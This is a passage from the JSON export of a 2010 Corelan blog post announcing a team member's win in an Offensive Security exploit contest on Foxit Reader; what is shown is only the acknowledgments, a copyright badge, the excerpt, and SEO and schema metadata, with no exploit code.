:<\/h3>\n<ul>\n<li>His wife for her everlasting support <\/li>\n<li>Corelan Team <\/li>\n<li>Offensive Security for organizing the contest <\/li>\n<\/ul>\n<p><!--Digiprove_Start--><span lang=\"en\" xml:lang=\"en\" style=\"vertical-align:middle; display:inline; padding:3px; line-height:normal;border:1px solid #e3e3e3;background-color:#000000;\" title=\"certified 14 November 2010 18:51:51 UTC by Digiprove certificate P63764\" ><a href=\"http:\/\/www.digiprove.com\/show_certificate.aspx?id=P63764&guid=cPyf8uDpn0Sy1gaOHoN-HA\" target=\"_blank\" rel=\"copyright noopener\" style=\"border:0px; float:none; display:inline; text-decoration: none; background-color:transparent\"><img decoding=\"async\" src=\"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png\" style=\"vertical-align:middle; display:inline; border:0px; margin:0px; float:none; background-color:transparent\" border=\"0\" width=\"12px\" height=\"12px\" alt=\"\"\/><span style=\"font-family: Tahoma, MS Sans Serif; font-size:9px; font-weight:normal; color:#FFFFFF; border:0px; float:none; display:inline; text-decoration:none; letter-spacing:normal\" onmouseover=\"this.style.color='#FFFF1C';\" onmouseout=\"this.style.color='#FFFFFF';\">&nbsp;&nbsp;Copyright secured by Digiprove&nbsp;&copy; 2010 Peter Van Eeckhoutte<\/span><\/a><!--EE1222DC138D6D7ABF80CAB8DFC8F1ABF2DE744D3D96D4AB48DF246B92023909--><\/span><!--Digiprove_End--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Introduction I'm excited and honored to be able to announce that Sud0, one of our Corelan Team members, has won the Offensive Security Exploit weekend, an exploiting exercise only available to Offensive Security certified alumni. The challenge was built around a vulnerability in Foxit Reader.&#160; Each participant was pointed to a Proof of Concept exploit, &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Offensive Security Exploit Weekend\"<\/span><\/a><\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[245,127],"tags":[3733,2477,2184,2179,2096,2083,1875,1865,1834,1824,261],"class_list":["post-5399","post","type-post","status-publish","format-standard","hentry","category-exploits","category-security","tag-exploit-development-tutorial","tag-pdf","tag-offsec","tag-offensive-security","tag-alphanumeric","tag-unicode","tag-payload","tag-seh","tag-shellcode","tag-metasploit","tag-corelan"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Offensive Security Exploit Weekend - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Offensive Security Exploit Weekend - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"Introduction I&#039;m excited and honored to be able to announce that Sud0, one of our Corelan Team members, has won the Offensive Security Exploit weekend, an exploiting exercise only available to Offensive Security certified alumni. The challenge was built around a vulnerability in Foxit Reader.&#160; Each participant was pointed to a Proof of Concept exploit, &hellip; Continue reading &quot;Offensive Security Exploit Weekend&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2010-11-13T21:52:42+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png\" \/>\n<meta name=\"author\" content=\"Corelan Team (Sud0)\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/\"},\"author\":{\"name\":\"Corelan Team (Sud0)\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/957a6479948c6c817f19bc8f664cfa96\"},\"headline\":\"Offensive Security Exploit Weekend\",\"datePublished\":\"2010-11-13T21:52:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/\"},\"wordCount\":2054,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\",\"keywords\":[\"exploit development tutorial\",\"pdf\",\"offsec\",\"offensive security\",\"alphanumeric\",\"unicode\",\"payload\",\"seh\",\"shellcode\",\"metasploit\",\"corelan\"],\"articleSection\":[\"Exploits\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/\",\"name\":\"Offensive Security Exploit Weekend - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\",\"datePublished\":\"2010-11-13T21:52:42+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/#primaryimage\",\"url\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\",\"contentUrl\":\"http:\\\/\\\/www.digiprove.com\\\/images\\\/dp_seal_trans_16x16.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2010\\\/11\\\/13\\\/offensive-security-exploit-weekend\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Offensive Security Exploit Weekend\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/957a6479948c6c817f19bc8f664cfa96\",\"name\":\"Corelan Team (Sud0)\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4740e67019850e56b581b3048c56a30672aea5b9105de445ddd603127267a300?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4740e67019850e56b581b3048c56a30672aea5b9105de445ddd603127267a300?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4740e67019850e56b581b3048c56a30672aea5b9105de445ddd603127267a300?s=96&d=mm&r=x\",\"caption\":\"Corelan Team (Sud0)\"},\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/sud0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Offensive Security Exploit Weekend - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/","og_locale":"en_US","og_type":"article","og_title":"Offensive Security Exploit Weekend - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"Introduction I'm excited and honored to be able to announce that Sud0, one of our Corelan Team members, has won the Offensive Security Exploit weekend, an exploiting exercise only available to Offensive Security certified alumni. The challenge was built around a vulnerability in Foxit Reader.&#160; Each participant was pointed to a Proof of Concept exploit, &hellip; Continue reading \"Offensive Security Exploit Weekend\"","og_url":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2010-11-13T21:52:42+00:00","og_image":[{"url":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","type":"","width":"","height":""}],"author":"Corelan Team (Sud0)","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/"},"author":{"name":"Corelan Team (Sud0)","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/957a6479948c6c817f19bc8f664cfa96"},"headline":"Offensive Security Exploit Weekend","datePublished":"2010-11-13T21:52:42+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/"},"wordCount":2054,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/#primaryimage"},"thumbnailUrl":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","keywords":["exploit development tutorial","pdf","offsec","offensive security","alphanumeric","unicode","payload","seh","shellcode","metasploit","corelan"],"articleSection":["Exploits","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/","url":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/","name":"Offensive Security Exploit Weekend - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/#primaryimage"},"thumbnailUrl":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","datePublished":"2010-11-13T21:52:42+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/#primaryimage","url":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png","contentUrl":"http:\/\/www.digiprove.com\/images\/dp_seal_trans_16x16.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2010\/11\/13\/offensive-security-exploit-weekend\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Offensive Security Exploit Weekend"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/957a6479948c6c817f19bc8f664cfa96","name":"Corelan Team (Sud0)","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4740e67019850e56b581b3048c56a30672aea5b9105de445ddd603127267a300?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/4740e67019850e56b581b3048c56a30672aea5b9105de445ddd603127267a300?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4740e67019850e56b581b3048c56a30672aea5b9105de445ddd603127267a300?s=96&d=mm&r=x","caption":"Corelan Team (Sud0)"},"url":"https:\/\/www.corelan.be\/index.php\/author\/sud0\/"}]}},"views":14154,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/5399","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=5399"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/5399\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=5399"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=5399"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=5399"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}